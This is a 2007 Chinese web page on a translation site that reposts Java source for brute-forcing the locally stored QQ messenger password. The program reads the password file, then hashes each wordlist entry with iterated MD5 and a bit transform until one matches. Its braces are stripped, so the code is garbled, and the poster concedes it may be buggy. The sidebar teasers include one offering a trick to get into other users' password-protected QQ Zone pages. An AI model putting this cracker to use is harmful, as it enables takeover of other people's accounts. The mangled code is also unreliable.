Readers: 7039 | Updated: 2007

暴力破解本地QQ密码(JAVA版)

Translate Into:
import java.security.*; 
import java.io.*; 
import java.util.*; 

class A1 

public static void main(String[] args) 

if(args == null || args.length < 2) 

usage(); 
return; 

FS fs; 
List<String> list; 
MessageDigest md; 
try 

InputStream fis = new FileInputStream(args[0]); 
fs = FS.get(fis); 
fis.close(); 
BufferedReader br = new BufferedReader(new InputStreamReader( 
new FileInputStream(args[1]))); 
String pw; 
list = new ArrayList<String>(); 
while((pw=br.readLine()) != null) 

list.add(pw); 

br.close(); 
md = MessageDigest.getInstance("MD5"); 

catch(IOException e) 

System.out.println("err: " + e.getMessage()); 
return; 

catch(NoSuchAlgorithmException ne) 

System.out.println("err: " + ne.getMessage()); 
return; 


int num = btoi(fs.block[0].data); 
System.out.printf("加密轮次: %d\n", num); 
byte[] pwd = fs.block[1].data; 
for(int i = 0,len=list.size(); i < len;i++) 

byte[] src = list.get(i).getBytes(); 
long start = System.currentTimeMillis(); 
byte[] dst = digestN(md, src, num); 
System.out.println("cost time: " + (System.currentTimeMillis() - start)); 
if(be(pwd, dst)) 

System.out.println("hi, baby, you've got it pw: " + list.get(i)); 
return; 

else 

System.out.println(list.get(i) + " isn't match pw, try next"); 




private static boolean be(byte[] src, byte[] dst) 

for(int i = 0; i < src.length; i++) 

if(src[i] != dst[i]) 

return false; 


return true; 

private static byte[] digestN(MessageDigest md, byte[] src, int n) 

int i; 
for(i = 0; i < n/3; i+=3) 

src = md.digest(src); 
src = md.digest(src); 
src = md.digest(src); 

while(i++ < n) 

src = md.digest(src); 

for(i = 0; i < src.length; i++) 

src[i] = (byte)(~src[i]^0x10); 

return src; 


private static class FS 

static final int fl = 4; 
byte[] fh; 
short bn; 
Block[] block; 
static FS get(InputStream in)throws IOException 

FS fs = new FS(); 
fs.fh = new byte[4]; 
in.read(fs.fh); 
fs.bn = (short)( (in.read() & 0xff) | (in.read() & 0xff)<<8); 
fs.block = new Block[fs.bn]; 
for(int i = 0; i < fs.bn; i++) 

fs.block[i] = Block.get(in); 

return fs; 


void print(PrintStream out)throws IOException 

out.printf("%2x %2x %2x %2x %2x %2x ",fh[0],fh[1],fh[2],fh[3],(byte)bn,(byte)(bn>>8)); 
for(int i = 0; i < block.length; i++) 

block[i].print(out); 


}; 
private static class Block 

byte type; 
short nl; 
byte[] name; 
int dl; 
byte[] data; 
static Block get(InputStream in)throws IOException 

Block block = new Block(); 
block.type = (byte)in.read(); 
block.nl = (short)( (in.read() & 0xff) | (in.read() & 0xff)<<8); 
block.name = new byte[block.nl]; 
in.read(block.name); 
block.dl = ( (in.read() & 0xff) << 0 
       | (in.read() & 0xff) << 8 
       | (in.read() & 0xff) <<16 
       | (in.read() & 0xff) <<24 
       ); 
block.data = new byte[block.dl]; 
in.read(block.data); 
return block; 


void print(PrintStream out)throws IOException 

out.printf("%2x %2x %2x ",type, (byte)nl, (byte)(nl>>8)); 
for(int i = 0; i < nl; i++) 

out.printf("%2x ", name[i]); 

out.printf("%2x %2x %2x %2x ",(byte)dl,(byte)(dl>>8),(byte)(dl>>16),(byte)(dl>>24)); 
for(int i = 0; i < dl; i++) 

out.printf("%2x ",data[i]); 


}; 

private static int btoi(byte[] src) 

return (int)((  src[0] & 0xff) << 0  
          | (src[1] & 0xff) <<8 
          | (src[2] & 0xff) <<16 
          | (src[3] & 0xff) <<24); 


private static void usage() 

System.out.println("usage: java A1 密码文件 字典文件\n"); 

 
 
 
 
说实话,这是别人的程序,不过我觉的15行和25行有问题,有时间改一下,我现在还没有找到错误的原因!!!


From The Blogs

资讯 / 首页 - 挖新闻 - 17Tech.COM

02-19
陈冠希钟欣桐13分钟激情视频最新全套bt 下载密码破解成热点
近日陈冠希艳照门热度不减虽然有关部门放话说查阅和存贮相关的艺人不雅照片是违法的,但是由于窥探隐私的心理作用下,艳照门相关的艳照的人物越来越多昨天还出现了杨永晴的裸照,杨永晴的全裸淋浴照激情照,无码,原... 查看全文

Fashion Innovation,Digital Products

2007
iPhone苹果手机在香港成功破解
现在在香港可以使用破解版的iPhone。破解的iPhone可以使用香港运营商的SIM卡,并可以打电话发短信。你从图片可以看出,iPhone屏幕上显示的是HK CSL(一个香港的手机运营商),而不是AT... 查看全文

2007
科学家破解夫妻间“七年之痒”和爱情保质期
资料图片:美国已故著名演员玛丽莲·梦露在电影《七年之痒》中“风拂裙摆”一幕,让无数电影迷倾心。    夫妻间的“七年之痒”和婚姻危机是如何得到预测与量化的?科研人员拿出不少公式    近日,针对德国的... 查看全文

Personal Growth, Career Planning

06-12
如何破解辞职创业所面临的困惑
大家对下海经商的故事并不陌生。主人公有一份收入不错的工作,过着舒适规律的生活。出于某种原因,需要更高的收入来改变这种生活。这时,自己做老板的欲望开始蠢蠢欲动,他们想辞去现在工作开创自己的事业。他们可能... 查看全文

ZDNet China网络与安全技术频道

02-23
如何进入设了密码的qq空间
有的Q友在Q-ZONE设了密码,你想看他的QQ空间的话要输入密码才行。 现在,我教大家利用Q-ZONE中的一个BUG,绕过密码访问他的QQ空间…… 查看全文

2007
破解俄罗斯女野人之谜:DNA测试显示其是现代人
莫莫斯科“类人学家”声称157年前捕获的神秘动物可能是尼安德特人的后代—— 蒙古西部和俄罗斯的高加索山,有可能存在一支独特的生物。高加索当地人管它叫阿玛斯提,蒙古人称它为阿玛斯。 其他的外号包括,森林... 查看全文

Culture, Geography, Science, Tourism

2007
破解UFO悬案--不明飞行物真实存在?!
引言“在所有报告中,大约有20%是来自那些值得信任的观测者发现的不可思议的事情。。。”                                                         ... 查看全文

我爱我的基民

06-05
长期持有的“达·芬奇密码”
长期持有的“达·芬奇密码”   先讲一段禅一样的文字。在网上看了这么一段大概是80后的短信往来作品:   A:左眼也可以看到右眼,右眼也可以看见世界。   B:友... 查看全文

Culture, Geography, Science, Tourism

05-20
QR密码图章
我父亲曾经给我作过一个带QR密码的私人密码图章.QR密码是一种基质密码(或者说是二维条码),它是日本DENSO波公司在1994年发明的."QR"是词条"快速响应"的缩写,它的发明者希望这种密码允许其中... 查看全文

Life, Health, Furnishings

04-24
欺凌弱小,损你健康
马里兰当局正在逐步增加力度解决欺凌弱小这一问题,这不仅仅是发生在学校,还发生在很多其它地方。你有没有注意到恃强凌弱现象也发生在工作场所?据华盛顿邮报发表的文章报道:       有展开的研究显示欺凌弱... 查看全文
More Articles
Elanso is a professional online platform which provides translation service for corporate or individule clients, opportunities for translation practice and translation jobs, and translation tool/software-download. Our online translators provide about 186 languages' translation service, including Japanese,Korean, French, German, Spanish, etc, among which, 20,000 are English translators. And some big translation service companies in Shanghai, Beijing, Nanjing also registered here.